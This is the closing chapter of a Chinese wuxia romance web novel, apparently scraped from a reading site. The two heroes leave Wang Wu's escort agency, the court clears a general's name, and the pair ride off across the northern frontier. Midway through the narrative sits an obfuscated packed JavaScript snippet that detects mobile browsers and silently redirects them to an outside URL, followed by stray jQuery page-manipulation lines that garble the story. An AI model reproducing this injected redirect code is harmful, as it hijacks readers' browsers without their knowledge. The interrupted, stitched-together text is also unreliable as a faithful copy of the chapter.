94. 闻一闲人话江湖

作品:《拂雪之刃

    “你们真要走呀?”王武把筷子一放,大声说道,“煜庭这才来了几天,咱们兄弟三个还没好好聚聚,怎么就这么着急……”


    什么才来了几天,宋煜庭心中觉得好笑。细细算来,他到四方里已经有半年多了。此时已经又过一年,转眼就是春暖花开。王武之所以这么说,肯定是心中舍不得他……哦不,舍不得他们。


    宋煜庭道:“嗯,过些天就打算上路了,大哥不必担忧什么。”


    “我这哪是担忧什么啊!”王武打断宋煜庭的话,“我这是舍不得你们两位兄弟!”


    叶鸣笙笑道:“不如大哥和我们一起云游四方,说不定哪天还能碰上凝姐……”


    “不必!”叶鸣笙话还没说完,就被王武两个字给狠狠否决了。


    “我是这镖局的大掌柜,怎么能说撂挑子不干就不干了呢?当初跟着你们回来是镖局收留了我,我早就……早就把这儿当成家了,若说离开,唉,左右为难。”王武说道。


    闻言,叶鸣笙有些不好意思道:“大哥要是这么说,倒显得我这个镖头有些无情无义了。”


    王武笑了笑,“不会,这镖局花了你多少心思众人都看在眼里,若不是你当初执意要把大掌柜让给我,恐怕就是我成天往外跑着运镖了。”说罢,王武深深看了两人一眼,“当初不当这个大掌柜,不就是为如今能安心走吗?”


    叶鸣笙垂下眼,低低应了一声,心中却是有点不是滋味。说到底,青桐镖局这个地方,他从小到大一直待在这里,他见过了它盛衰交替,又亲手将它的牌坊搭好。说到离开……心中怎么能不难受呢?


    宋煜庭看出了他的心思,在桌子下边不动声色地碰了碰他的腿,嘴上却是对着王武说:“此番离别又不是不回来了,说不定等到今年年关将至,我们就又像今日一般坐在一个桌子上喝酒了。”


    王武笑道:“说得对!来!再喝一杯!”


    三人举杯相碰,离愁别绪都要被这豪放的酒气冲淡一些。


    宋煜庭放下酒杯,又问了王武一句:“大哥真的不与我们同去吗?”他并未多想,叶鸣笙一提这事,他也是觉得王武一人未免有些孤独,便又问了一句。他说话是手也没闲着,拿筷子夹菜放到了叶鸣笙碗里。


    王武一口热酒下肚,还未来得及放下杯子,就瞧见这一幕。他摆了摆手,道:“不是都说了嘛,放不下镖局这里,不去了不去了,等你们回来就是。”


    他不去的原因还有一个,自然就是不愿意打扰宋煜庭和叶鸣笙的二人世界!


    如今他们都已经二十好几,褪去了当年年少时的青涩,对于情爱之事也没那么多扭扭捏捏。


    自从宋煜庭来到四方里,天天和叶鸣笙住一屋,他这当大哥的都知道。他若是跟着去了,难不成天天在他两个兄弟面前装瞎子吗?


    那自然是不能的,当然,这都是次要原因,他是真的离不开当初全心全意接纳他的镖局了。


    夜色渐浓,宋煜庭躺在床榻上,叶鸣笙坐在一旁正细心擦拭他的寻春刀。宋煜庭不动声色地从身后环住叶鸣笙的腰,良久,他问道:“你……会不会特别舍不得?”


    细细想来,总是他要叶鸣笙随他去北疆看看,这是他一直以来的心愿。可是如今这愿望真要实现了,他却有点近乡情怯起来,开始担忧叶鸣笙心中不舍,只是因为自己一直要求才不得不跟自己去。


    宋煜庭无声地在心中叹了口气,想到叶鸣笙如何待自己,他的心都要化了。且不说未表明心意时就对自己百般照顾,两人捅破那层窗户纸后更是纵容,可谓是要星星不给月亮,什么都顺着他……可能正是因为他能清楚地感受到这份感情,他才能走过那五年,才能如此的有恃无恐。


    一想到这些,宋煜庭环着叶鸣笙的手不由自主地又收紧了些,心中痛斥自己一声,不知该怎么待叶鸣笙才好。


    “嗯?”叶鸣笙像是感觉到了他的异样,他轻轻把手中的兵刃放下,一只手垂下来,捏着宋煜庭的耳垂。


    宋煜庭道:“我就是怕你舍不得……”他顿了顿,“是不是我总……唉,你要是心里放不下,我就陪你在这边再待些日子,不管在哪里,只要在你身边,哪儿都好。”


    叶鸣笙低下头,望向宋煜庭的双眸,嘴角不由得弯了起来。


    “我若是说没有舍不得恐怕你也是不信的。”


    他的手慢慢下移,让过宋煜庭有些泛红的耳垂,抚上了他的脸庞,“舍不得是真的,但是想跟你回北疆也是真的。”


    “煜庭,这不是勉强,这也是我的心愿,我……我也是真的想到你长大的地方看看。”


    叶鸣笙神色柔和,连带着声音都轻了几分。说罢,他忍不住俯下身子亲了亲宋煜庭的眉心。


    宋煜庭先前想好的一肚子草稿还没来得及往外抖,就被叶鸣笙这一连串的蜜语吻术给哄没了。他眨了眨眼,随后直起身来亲了叶鸣笙的唇角,“真的?”


    这话问出来,两人都是哭笑不得。


    叶鸣笙笑道:“比真金还真。”


    宋煜庭笑着和叶鸣笙额头相抵,“有你这句话就够了。”


    “那……”叶鸣笙微微向后,笑着避开了宋煜庭送上门来的吻。他问道:“你刚才说只要在我身边,哪儿都好,这也是真的?”


    宋煜庭又凑上前,“当然了。”


    “跟我浪迹天涯也愿意吗?”


    “只要是你,我都愿意。”


    “好。”叶鸣笙这才停住追问,任由宋煜庭送上了他一直想送没送出门的吻。


    千言万语,柔情蜜意,都化在了旖旎难耐的浓浓夜色下。


    几日过后,叶鸣笙正式卸去了总镖头一职,骑了匹马,挎着他的刀,就和宋煜庭一同北上了。


    王武在四方里城门处看着两人远去的背影,一时间感慨万千。他早已经记不清上次这样看着两人策马而去的背影是什么时候了,那时千帆波澜未起,而此刻万丈尘埃已然落定。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263596|158050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他这两个兄弟,也不知道是谁拐了谁。王武微微一笑,转身回了镖局。那都无关紧要,他看着他们两人走到这一步,只要身边还是彼此,那就无所谓了。


    赵希声和白刚早就已经离开了四方里。在他们从京城回来没多久,赵希声和白刚就走了——在一个无人知晓的清晨……也不算不辞而别吧,宋煜庭这不着调的师伯好歹给他留了封书信。


    书信中说,此间事罢,他们师兄弟二人不便叨扰,要开始云游四方了,说不定哪天还要回神女峰下拉上闻玄一起。不仅如此,还特意嘱咐几位小辈不必过于想念他们,看似尘埃落定,其实属于他们的江湖路才刚刚开始。


    这书信上的字很是潇洒,一看就知道是出自谁的手笔。


    宋煜庭看完沉默良久,按理说,他早就应该对离别一事看得开、放得下,可是每逢此时,心中还是难免激起波澜。


    罢了,时过境迁,他们都已长大成人,不能再期求在长辈的庇佑下安然度日了。


    好在天地悠悠,人终会重逢。既有重逢,那这离别不过是重逢的一个序言而已。


    元平四十二年,章宁用尽力气写下他此生最后一封奏折,由其子章宇藩呈到大殿之上。天子看后紧皱眉头,沉默不语。


    又三日,章宁身死丞相府,是一个雪天。漫天大雪将恩怨情仇承载,同凛冽的风一起消散在滚滚红尘中。


    元平四十五年,天子下诏,护国将军宋寒平谋逆一事得以沉冤昭雪。一时间,朝野上下议论纷纷。一代武将的事迹终又被记录于薄卷之上:


    将军宋氏,名寒平,骁勇善战,平叛有功,半生戎马,得一世霁月清风。爱妻沈妤,有幼子名阑……


    半年后,新皇登基。


    昔日功名,皆作落红,化在新春的尘土中,催着时代的车轮滚滚向前。只在有心人的胸口留下几道痕迹,寓为爱恨情仇。


    至此,又一年冬去春来,换了天地。


    北疆封界处,两人策马并立一旁。


    一人将头发高高束起,乌黑发丝终隐着一条小辫子,剑眉星目,清爽至极,他偏过头看向一旁的人。


    另一人鼻尖小痣灵动,他披散着发丝,只用一条简单的发带稍作打理,更是别有一番风姿。


    “想好去哪儿了吗?”宋煜庭问道。


    叶鸣笙偏过头来看他,发丝被风吹得糊住了半张脸,却没掩住眼中的笑意:“马能跑到哪,就去哪。”


    宋煜庭一挑眉,欣喜道:“好是逍遥!”


    叶鸣笙一扯马缰绳,道:“走吧。”话音未落,骏马已经驰骋于天地间。


    宋煜庭紧跟在他身后,“那我就跟着你了,你去哪,我就去哪!”


    叶鸣笙笑着回过头来看了他一眼,并未答话。


    两匹骏马一路疾驰,嘶鸣着,自跑起来的一刹那,便再不会停下脚步。


    从此,悠悠天地内,容你我浪迹。


    ——正文完——